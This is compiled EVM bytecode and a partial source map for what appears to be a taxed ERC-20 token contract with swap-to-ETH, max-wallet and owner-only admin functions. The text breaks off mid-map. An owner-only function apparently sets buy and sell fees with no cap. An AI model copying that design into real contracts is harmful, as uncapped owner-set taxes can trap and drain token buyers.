156103ff57600080fd5b5061021e60075481565b34801561041557600080fd5b506101d761092f565b34801561042a57600080fd5b506101d761096b565b34801561043f57600080fd5b5061021e61044e3660046112b2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101d761049436600461127c565b6109be565b3480156104a557600080fd5b506101d76104b4366004611295565b610a44565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e39061131e565b60405180910390fd5b600691909155600755565b6000610504338484610adb565b5060015b92915050565b600061051c6009600a61144f565b61052a90633b9aca0061145e565b905090565b600061053c848484610b9f565b6105bf84336105ba856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600460008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006105993390565b6001600160a01b031681526020810191909152604001600020549190610ece565b610adb565b5060019392505050565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016104e39061131e565b6105ff6009600a61144f565b610609908261145e565b60025550565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016104e39061131e565b6008546106659030906001600160a01b03166106576009600a61144f565b6105ba90633b9aca0061145e565b6008546001600160a01b031663f305d71947306064610699826001600160a01b031660009081526003602052604090205490565b6106a490605a61145e565b6106ae9190611475565b6000806106c36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561072b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107509190611497565b505050565b6000546001600160a01b0316331461077f5760405162461bcd60e51b81526004016104e39061131e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016104e39061131e565b6009805460ff60a01b1916600160a01b179055565b600a546001600160a01b031633146108535760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064016104e3565b61086482826106576009600a61144f565b600a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610504338484610b9f565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016104e39061131e565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109135760405162461bcd60e51b81526004016104e39061131e565b61091f6009600a61144f565b610929908261145e565b60015550565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610968573d6000803e3d6000fd5b50565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104e39061131e565b6109a16009600a61144f565b6109af90633b9aca0061145e565b60015560006006819055600755565b6000546001600160a01b031633146109e85760405162461bcd60e51b81526004016104e39061131e565b30600090815260036020526040812054610a3290836064610a0b6009600a61144f565b610a1990633b9aca0061145e565b610a239190611475565b610a2d919061145e565b610f08565b9150819050610a4081610f20565b5050565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016104e39061131e565b600060056000610a866000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610ab7816110bf565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b03831615801590610afb57506001600160a01b03821615155b610b3e5760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bed5760405162461bcd60e51b81526020600482015260156024820152747472616e73666572207a65726f206164647265737360581b60448201526064016104e3565b60008111610c345760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c881e995c9bc8185b5bdd5b9d60621b60448201526064016104e3565b6001600160a01b03831660009081526005602052604081205460ff16158015610c7657506001600160a01b03831660009081526005602052604090205460ff16155b15610d6457600954600160a01b900460ff16610c9157600080fd5b6009546001600160a01b0390811690851603610d1e5760015482610cca856001600160a01b031660009081526003602052604090205490565b610cd491906114c5565b1115610d155760405162461bcd60e51b815260206004820152601060248201526f26b0bc103bb0b63632ba1022b93937b960811b60448201526064016104e3565b50600654610d64565b6009546001600160a01b0390811690841603610d6457306000908152600360205260408120549050610d5e610d59600254610a2d8685610f08565b610f20565b50506007545b6001600160a01b038416600090815260036020526040902054610d889083906114d8565b6001600160a01b0385166000908152600360205260409020558015610e485760006064610db5838561145e565b610dbf9190611475565b30600090815260036020526040902054909150610ddd9082906114c5565b30600090815260036020526040902055610df781846114d8565b9250306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e3e91815260200190565b60405180910390a3505b6001600160a01b038316600090815260036020526040902054610e6c9083906114c5565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec09086815260200190565b60405180910390a350505050565b60008184841115610ef25760405162461bcd60e51b81526004016104e3919061118a565b506000610eff84866114d8565b95945050505050565b6000818311610f175782610f19565b815b9392505050565b6009805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6857610f686114eb565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe59190611501565b81600181518110610ff857610ff86114eb565b60200260200101906001600160a01b031690816001600160a01b0316815250508160000361102657506110af565b60085461103e9030906001600160a01b031684610adb565b600854600a5460405163791ac94760e01b81526001600160a01b039283169263791ac9479261107b9287926000928892911690429060040161151e565b600060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b50505050505b506009805460ff60a81b19169055565b6000546001600160a01b031633146110e95760405162461bcd60e51b81526004016104e39061131e565b6001600160a01b03811661113f5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104e3565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600060208083528351808285015260005b818110156111b75785810183015185820160400152820161119b565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156111eb57600080fd5b50508035926020909101359150565b6001600160a01b038116811461096857600080fd5b6000806040838503121561122257600080fd5b823561122d816111fa565b946020939093013593505050565b60008060006060848603121561125057600080fd5b833561125b816111fa565b9250602084013561126b816111fa565b929592945050506040919091013590565b60006020828403121561128e57600080fd5b5035919050565b6000602082840312156112a757600080fd5b8135610f19816111fa565b600080604083850312156112c557600080fd5b82356112d0816111fa565b915060208301356112e0816111fa565b809150509250929050565b600080604083850312156112fe57600080fd5b8235611309816111fa565b9150602083013580151581146112e057600080fd5b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156113a657816000190482111561138c5761138c611355565b8085161561139957918102915b93841c9390800290611370565b509250929050565b6000826113bd57506001610508565b816113ca57506000610508565b81600181146113e057600281146113ea57611406565b6001915050610508565b60ff8411156113fb576113fb611355565b50506001821b610508565b5060208310610133831016604e8410600b8410161715611429575081810a610508565b611433838361136b565b806000190482111561144757611447611355565b029392505050565b6000610f1960ff8416836113ae565b808202811582820484141761050857610508611355565b60008261149257634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156114ac57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561050857610508611355565b8181038181111561050857610508611355565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151357600080fd5b8151610f19816111fa565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156e5784516001600160a01b031683529383019391830191600101611549565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220140359c17f94a94369a1a31feb0197f32d824bb2005025c7be872c86424aa16a64736f6c63430008130033

Deployed Bytecode Sourcemap

3007:6838:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4880:83;;;;;;;;;;-1:-1:-1;4950:5:0;;;;;;;;;;;;-1:-1:-1;;;4950:5:0;;;;4880:83;;;;;;;:::i;:::-;;;;;;;;7792:142;;;;;;;;;;-1:-1:-1;7792:142:0;;;;;:::i;:::-;;:::i;:::-;;5714:160;;;;;;;;;;-1:-1:-1;5714:160:0;;;;;:::i;:::-;;:::i;:::-;;;1441:14:1;;1434:22;1416:41;;1404:2;1389:18;5714:160:0;1276:187:1;5157:100:0;;;;;;;;;;;;;:::i;:::-;;;1614:25:1;;;1602:2;1587:18;5157:100:0;1468:177:1;5882:283:0;;;;;;;;;;-1:-1:-1;5882:283:0;;;;;:::i;:::-;;:::i;5066:83::-;;;;;;;;;;-1:-1:-1;5066:83:0;;3226:1;2253:36:1;;2241:2;2226:18;5066:83:0;2111:184:1;3676:26:0;;;;;;;;;;;;;;;;8750:108;;;;;;;;;;-1:-1:-1;8750:108:0;;;;;:::i;:::-;;:::i;9520:285::-;;;:::i;5265:118::-;;;;;;;;;;-1:-1:-1;5265:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;5358:17:0;5331:7;5358:17;;;:8;:17;;;;;;;5265:118;1439:148;;;;;;;;;;;;;:::i;6446:83::-;;;;;;;;;;;;;:::i;991:79::-;;;;;;;;;;-1:-1:-1;1029:7:0;1056:6;991:79;;-1:-1:-1;;;;;1056:6:0;;;2883:51:1;;2871:2;2856:18;991:79:0;2737:203:1;4971:87:0;;;;;;;;;;-1:-1:-1;5043:7:0;;;;;;;;;;;;-1:-1:-1;;;5043:7:0;;;;4971:87;;9157:253;;;;;;;;;;-1:-1:-1;9157:253:0;;;;;:::i;:::-;;:::i;5391:165::-;;;;;;;;;;-1:-1:-1;5391:165:0;;;;;:::i;:::-;;:::i;3308:55::-;;;;;;;;;;;;;;;;8389:135;;;;;;;;;;-1:-1:-1;8389:135:0;;;;;:::i;:::-;;:::i;8866:137::-;;;;;;;;;;-1:-1:-1;8866:137:0;;;;;:::i;:::-;;:::i;3709:27::-;;;;;;;;;;;;;;;;9418:94;;;;;;;;;;;;;:::i;9011:138::-;;;;;;;;;;;;;:::i;5564:142::-;;;;;;;;;;-1:-1:-1;5564:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;5671:18:0;;;5645:7;5671:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5564:142;8532:210;;;;;;;;;;-1:-1:-1;8532:210:0;;;;;:::i;:::-;;:::i;4659:213::-;;;;;;;;;;-1:-1:-1;4659:213:0;;;;;:::i;:::-;;:::i;7792:142::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;;;;;;;;;7877:6:::1;:18:::0;;;;7906:7:::1;:20:::0;7792:142::o;5714:160::-;5789:4;5805:39;269:10;5828:7;5837:6;5805:8;:39::i;:::-;-1:-1:-1;5862:4:0;5714:160;;;;;:::o;5157:100::-;5210:7;3288:13;3226:1;3288:2;:13;:::i;:::-;3275:26;;:10;:26;:::i;:::-;5230:19;;5157:100;:::o;5882:283::-;5980:4;5997:36;6007:6;6015:9;6026:6;5997:9;:36::i;:::-;6044:91;6053:6;269:10;6073:61;6111:6;6073:61;;;;;;;;;;;;;-1:-1:-1;;;6073:61:0;;;:11;:19;6085:6;-1:-1:-1;;;;;6073:19:0;-1:-1:-1;;;;;6073:19:0;;;;;;;;;;;;:33;6093:12;269:10;;189:98;6093:12;-1:-1:-1;;;;;6073:33:0;;;;;;;;;;;;-1:-1:-1;6073:33:0;;;:61;:37;:61::i;:::-;6044:8;:91::i;:::-;-1:-1:-1;6153:4:0;5882:283;;;;;:::o;8750:108::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;8837:13:::1;3226:1;8837:2;:13;:::i;:::-;8826:24;::::0;:8;:24:::1;:::i;:::-;8816:7;:34:::0;-1:-1:-1;8750:108:0:o;9520:285::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;9619:15:::1;::::0;9587:63:::1;::::0;9604:4:::1;::::0;-1:-1:-1;;;;;9619:15:0::1;3288:13;3226:1;3288:2;:13;:::i;:::-;3275:26;::::0;:10:::1;:26;:::i;9587:63::-;9661:15;::::0;-1:-1:-1;;;;;9661:15:0::1;:31;9700:21;9731:4;9765:3;9737:24;9731:4:::0;-1:-1:-1;;;;;5358:17:0;5331:7;5358:17;;;:8;:17;;;;;;;5265:118;9737:24:::1;:27;::::0;9762:2:::1;9737:27;:::i;:::-;:31;;;;:::i;:::-;9769:1;9771::::0;9773:7:::1;1029::::0;1056:6;-1:-1:-1;;;;;1056:6:0;;991:79;9773:7:::1;9661:136;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9661:136:0;;;-1:-1:-1;;;;;6380:15:1;;;9661:136:0::1;::::0;::::1;6362:34:1::0;6412:18;;;6405:34;;;;6455:18;;;6448:34;;;;6498:18;;;6491:34;6562:15;;;6541:19;;;6534:44;9781:15:0::1;6594:19:1::0;;;6587:35;6296:19;;9661:136:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9520:285::o:0;1439:148::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;1546:1:::1;1530:6:::0;;1509:40:::1;::::0;-1:-1:-1;;;;;1530:6:0;;::::1;::::0;1509:40:::1;::::0;1546:1;;1509:40:::1;1577:1;1560:19:::0;;-1:-1:-1;;;;;;1560:19:0::1;::::0;;1439:148::o;6446:83::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;6501:13:::1;:20:::0;;-1:-1:-1;;;;6501:20:0::1;-1:-1:-1::0;;;6501:20:0::1;::::0;;6446:83::o;9157:253::-;9269:13;;-1:-1:-1;;;;;9269:13:0;9255:10;:27;9247:54;;;;-1:-1:-1;;;9247:54:0;;7146:2:1;9247:54:0;;;7128:21:1;7185:2;7165:18;;;7158:30;-1:-1:-1;;;7204:18:1;;;7197:44;7258:18;;9247:54:0;6944:338:1;9247:54:0;9312:45;9321:10;9333:9;3288:13;3226:1;3288:2;:13;:::i;9312:45::-;9368:13;:34;;-1:-1:-1;;;;;;9368:34:0;-1:-1:-1;;;;;9368:34:0;;;;;;;;;;-1:-1:-1;9157:253:0:o;5391:165::-;5468:4;5484:42;269:10;5508:9;5519:6;5484:9;:42::i;8389:135::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8479:27:0;;;::::1;;::::0;;;:17:::1;:27;::::0;;;;:37;;-1:-1:-1;;8479:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8389:135::o;8866:137::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;8982:13:::1;3226:1;8982:2;:13;:::i;:::-;8961:34;::::0;:18;:34:::1;:::i;:::-;8943:15;:52:::0;-1:-1:-1;8866:137:0:o;9418:94::-;9459:13;;:45;;-1:-1:-1;;;;;9459:13:0;;;;9482:21;9459:45;;;;;:13;:45;:13;:45;9482:21;9459:13;:45;;;;;;;;;;;;;;;;;;;;;9418:94::o;9011:138::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;3288:13:::1;3226:1;3288:2;:13;:::i;:::-;3275:26;::::0;:10:::1;:26;:::i;:::-;9068:15;:30:::0;9118:1:::1;9109:6;:10:::0;;;9130:7:::1;:11:::0;9011:138::o;8532:210::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;8657:4:::1;8602:14;5358:17:::0;;;:8;:17;;;;;;8635:67:::1;::::0;8687:13;8681:3:::1;3288:13;3226:1;3288:2;:13;:::i;:::-;3275:26;::::0;:10:::1;:26;:::i;:::-;8666:18;;;;:::i;:::-;:34;;;;:::i;:::-;8635:3;:67::i;:::-;8619:83;;;8602:100;;8713:21;8727:6;8713:13;:21::i;:::-;8591:151;8532:210:::0;:::o;4659:213::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;4770:5:::1;4741:17;:26;4759:7;1029::::0;1056:6;-1:-1:-1;;;;;1056:6:0;;991:79;4759:7:::1;-1:-1:-1::0;;;;;4741:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;4741:26:0;:34;;-1:-1:-1;;4741:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;4786:33:::1;4810:8:::0;4786:23:::1;:33::i;:::-;-1:-1:-1::0;;;;;4830:27:0::1;;::::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;4830:34:0::1;4860:4;4830:34;::::0;;4659:213::o;6173:265::-;-1:-1:-1;;;;;6266:19:0;;;;;;:44;;-1:-1:-1;;;;;;6289:21:0;;;;6266:44;6258:77;;;;-1:-1:-1;;;6258:77:0;;7489:2:1;6258:77:0;;;7471:21:1;7528:2;7508:18;;;7501:30;-1:-1:-1;;;7547:18:1;;;7540:50;7607:18;;6258:77:0;7287:344:1;6258:77:0;-1:-1:-1;;;;;6346:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6398:32;;1614:25:1;;;6398:32:0;;1587:18:1;6398:32:0;;;;;;;6173:265;;;:::o;6537:1141::-;-1:-1:-1;;;;;6625:18:0;;6617:52;;;;-1:-1:-1;;;6617:52:0;;7838:2:1;6617:52:0;;;7820:21:1;7877:2;7857:18;;;7850:30;-1:-1:-1;;;7896:18:1;;;7889:51;7957:18;;6617:52:0;7636:345:1;6617:52:0;6697:1;6688:6;:10;6680:43;;;;-1:-1:-1;;;6680:43:0;;8188:2:1;6680:43:0;;;8170:21:1;8227:2;8207:18;;;8200:30;-1:-1:-1;;;8246:18:1;;;8239:50;8306:18;;6680:43:0;7986:344:1;6680:43:0;-1:-1:-1;;;;;6767:23:0;;6734:12;6767:23;;;:17;:23;;;;;;;;6766:24;:50;;;;-1:-1:-1;;;;;;6795:21:0;;;;;;:17;:21;;;;;;;;6794:22;6766:50;6763:496;;;6840:13;;-1:-1:-1;;;6840:13:0;;;;6832:22;;;;;;6881:13;;-1:-1:-1;;;;;6881:13:0;;;6873:21;;;;6869:379;;6949:15;;6939:6;6923:13;6933:2;-1:-1:-1;;;;;5358:17:0;5331:7;5358:17;;;:8;:17;;;;;;;5265:118;6923:13;:22;;;;:::i;:::-;:41;;6915:70;;;;-1:-1:-1;;;6915:70:0;;8667:2:1;6915:70:0;;;8649:21:1;8706:2;8686:18;;;8679:30;-1:-1:-1;;;8725:18:1;;;8718:46;8781:18;;6915:70:0;8465:340:1;6915:70:0;-1:-1:-1;7011:6:0;;6869:379;;;7049:13;;-1:-1:-1;;;;;7049:13:0;;;7043:19;;;;7039:209;;7122:4;7083:18;5358:17;;;:8;:17;;;;;;7083:45;;7147:52;7161:37;7165:7;;7174:23;7178:6;7186:10;7174:3;:23::i;7161:37::-;7147:13;:52::i;:::-;-1:-1:-1;;7225:7:0;;7039:209;-1:-1:-1;;;;;7286:14:0;;;;;;:8;:14;;;;;;:23;;7303:6;;7286:23;:::i;:::-;-1:-1:-1;;;;;7269:14:0;;;;;;:8;:14;;;;;:40;7325:8;;7322:258;;7349:17;7387:3;7370:13;7379:4;7370:6;:13;:::i;:::-;7369:21;;;;:::i;:::-;7448:4;7431:23;;;;:8;:23;;;;;;7349:41;;-1:-1:-1;7431:35:0;;7349:41;;7431:35;:::i;:::-;7422:4;7405:23;;;;:8;:23;;;;;:61;7490:18;7499:9;7490:6;:18;:::i;:::-;7481:27;;7551:4;-1:-1:-1;;;;;7528:40:0;7537:4;-1:-1:-1;;;;;7528:40:0;;7558:9;7528:40;;;;1614:25:1;;1602:2;1587:18;;1468:177;7528:40:0;;;;;;;;7334:246;7322:258;-1:-1:-1;;;;;7607:12:0;;;;;;:8;:12;;;;;;:21;;7622:6;;7607:21;:::i;:::-;-1:-1:-1;;;;;7592:12:0;;;;;;;:8;:12;;;;;;;:36;;;;7644:26;;;;;;;;;;7663:6;1614:25:1;;1602:2;1587:18;;1468:177;7644:26:0;;;;;;;;6606:1072;6537:1141;;;:::o;452:190::-;538:7;574:12;566:6;;;;558:29;;;;-1:-1:-1;;;558:29:0;;;;;;;;:::i;:::-;-1:-1:-1;598:9:0;610:5;614:1;610;:5;:::i;:::-;598:17;452:190;-1:-1:-1;;;;;452:190:0:o;7686:98::-;7743:7;7770:1;7768;:3;7767:9;;7775:1;7767:9;;;7773:1;7767:9;7760:16;7686:98;-1:-1:-1;;;7686:98:0:o;7942:439::-;3929:6;:13;;-1:-1:-1;;;;3929:13:0;-1:-1:-1;;;3929:13:0;;;8041:16:::1;::::0;;8055:1:::1;8041:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8041:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8041:16:0::1;8017:40;;8086:4;8068;8073:1;8068:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8068:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8112:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8112:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8068:7;;8112:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8102:4;8107:1;8102:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;8102:32:0::1;;;-1:-1:-1::0;;;;;8102:32:0::1;;;::::0;::::1;8149:11;8164:1;8149:16:::0;8145:29:::1;;8167:7;;;8145:29;8216:15;::::0;8184:62:::1;::::0;8201:4:::1;::::0;-1:-1:-1;;;;;8216:15:0::1;8234:11:::0;8184:8:::1;:62::i;:::-;8257:15;::::0;8343:13:::1;::::0;8257:116:::1;::::0;-1:-1:-1;;;8257:116:0;;-1:-1:-1;;;;;8257:15:0;;::::1;::::0;:66:::1;::::0;:116:::1;::::0;8324:11;;8257:15:::1;::::0;8338:4;;8343:13;::::1;::::0;8357:15:::1;::::0;8257:116:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8006:375;3953:1;-1:-1:-1::0;3965:6:0;:14;;-1:-1:-1;;;;3965:14:0;;;7942:439::o;1196:235::-;1118:6;;-1:-1:-1;;;;;1118:6:0;269:10;1118:22;1110:58;;;;-1:-1:-1;;;1110:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1285:22:0;::::1;1277:64;;;::::0;-1:-1:-1;;;1277:64:0;;10658:2:1;1277:64:0::1;::::0;::::1;10640:21:1::0;10697:2;10677:18;;;10670:30;10736:31;10716:18;;;10709:59;10785:18;;1277:64:0::1;10456:353:1::0;1277:64:0::1;1352:6;:17:::0;;-1:-1:-1;;;;;;1352:17:0::1;-1:-1:-1::0;;;;;1352:17:0;::::1;::::0;;::::1;::::0;;1385:38:::1;::::0;1352:17;;;;1385:38:::1;::::0;1352:6;1385:38:::1;1196:235:::0;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:248::-;635:6;643;696:2;684:9;675:7;671:23;667:32;664:52;;;712:1;709;702:12;664:52;-1:-1:-1;;735:23:1;;;805:2;790:18;;;777:32;;-1:-1:-1;567:248:1:o;820:131::-;-1:-1:-1;;;;;895:31:1;;885:42;;875:70;;941:1;938;931:12;956:315;1024:6;1032;1085:2;1073:9;1064:7;1060:23;1056:32;1053:52;;;1101:1;1098;1091:12;1053:52;1140:9;1127:23;1159:31;1184:5;1159:31;:::i;:::-;1209:5;1261:2;1246:18;;;;1233:32;;-1:-1:-1;;;956:315:1:o;1650:456::-;1727:6;1735;1743;1796:2;1784:9;1775:7;1771:23;1767:32;1764:52;;;1812:1;1809;1802:12;1764:52;1851:9;1838:23;1870:31;1895:5;1870:31;:::i;:::-;1920:5;-1:-1:-1;1977:2:1;1962:18;;1949:32;1990:33;1949:32;1990:33;:::i;:::-;1650:456;;2042:7;;-1:-1:-1;;;2096:2:1;2081:18;;;;2068:32;;1650:456::o;2300:180::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;-1:-1:-1;2451:23:1;;2300:180;-1:-1:-1;2300:180:1:o;2485:247::-;2544:6;2597:2;2585:9;2576:7;2572:23;2568:32;2565:52;;;2613:1;2610;2603:12;2565:52;2652:9;2639:23;2671:31;2696:5;2671:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3338:416::-;3403:6;3411;3464:2;3452:9;3443:7;3439:23;3435:32;3432:52;;;3480:1;3477;3470:12;3432:52;3519:9;3506:23;3538:31;3563:5;3538:31;:::i;:::-;3588:5;-1:-1:-1;3645:2:1;3630:18;;3617:32;3687:15;;3680:23;3668:36;;3658:64;;3718:1;3715;3708:12;3759:347;3961:2;3943:21;;;4000:2;3980:18;;;3973:30;4039:25;4034:2;4019:18;;4012:53;4097:2;4082:18;;3759:347::o;4111:127::-;4172:10;4167:3;4163:20;4160:1;4153:31;4203:4;4200:1;4193:15;4227:4;4224:1;4217:15;4243:422;4332:1;4375:5;4332:1;4389:270;4410:7;4400:8;4397:21;4389:270;;;4469:4;4465:1;4461:6;4457:17;4451:4;4448:27;4445:53;;;4478:18;;:::i;:::-;4528:7;4518:8;4514:22;4511:55;;;4548:16;;;;4511:55;4627:22;;;;4587:15;;;;4389:270;;;4393:3;4243:422;;;;;:::o;4670:806::-;4719:5;4749:8;4739:80;;-1:-1:-1;4790:1:1;4804:5;;4739:80;4838:4;4828:76;;-1:-1:-1;4875:1:1;4889:5;;4828:76;4920:4;4938:1;4933:59;;;;5006:1;5001:130;;;;4913:218;;4933:59;4963:1;4954:10;;4977:5;;;5001:130;5038:3;5028:8;5025:17;5022:43;;;5045:18;;:::i;:::-;-1:-1:-1;;5101:1:1;5087:16;;5116:5;;4913:218;;5215:2;5205:8;5202:16;5196:3;5190:4;5187:13;5183:36;5177:2;5167:8;5164:16;5159:2;5153:4;5150:12;5146:35;5143:77;5140:159;;;-1:-1:-1;5252:19:1;;;5284:5;;5140:159;5331:34;5356:8;5350:4;5331:34;:::i;:::-;5401:6;5397:1;5393:6;5389:19;5380:7;5377:32;5374:58;;;5412:18;;:::i;:::-;5450:20;;4670:806;-1:-1:-1;;;4670:806:1:o;5481:140::-;5539:5;5568:47;5609:4;5599:8;5595:19;5589:4;5568:47;:::i;5626:168::-;5699:9;;;5730;;5747:15;;;5741:22;;5727:37;5717:71;;5768:18;;:::i;5799:217::-;5839:1;5865;5855:132;;5909:10;5904:3;5900:20;5897:1;5890:31;5944:4;5941:1;5934:15;5972:4;5969:1;5962:15;5855:132;-1:-1:-1;6001:9:1;;5799:217::o;6633:306::-;6721:6;6729;6737;6790:2;6778:9;6769:7;6765:23;6761:32;6758:52;;;6806:1;6803;6796:12;6758:52;6835:9;6829:16;6819:26;;6885:2;6874:9;6870:18;6864:25;6854:35;;6929:2;6918:9;6914:18;6908:25;6898:35;;6633:306;;;;;:::o;8335:125::-;8400:9;;;8421:10;;;8418:36;;;8434:18;;:::i;8810:128::-;8877:9;;;8898:11;;;8895:37;;;8912:18;;:::i;9075:127::-;9136:10;9131:3;9127:20;9124:1;9117:31;9167:4;9164:1;9157:15;9191:4;9188:1;9181:15;9207:251;9277:6;9330:2;9318:9;9309:7;9305:23;9301:32;9298:52;;;9346:1;9343;9336:12;9298:52;9378:9;9372:16;9397:31;9422:5;9397:31;:::i;9463:988::-;9733:4;9781:3;9770:9;9766:19;9812:6;9801:9;9794:25;9838:2;9876:6;9871:2;9860:9;9856:18;9849:34;9919:3;9914:2;9903:9;9899:18;9892:31;9943:6;9978;9972:13;10009:6;10001;9994:22;10047:3;10036:9;10032:19;10025:26;;10086:2;10078:6;10074:15;10060:29;;10107:1;10117:195;10131:6;10128:1;10125:13;10117:195;;;10196:13;;-1:-1:-1;;;;;10192:39:1;10180:52;;10287:15;;;;10252:12;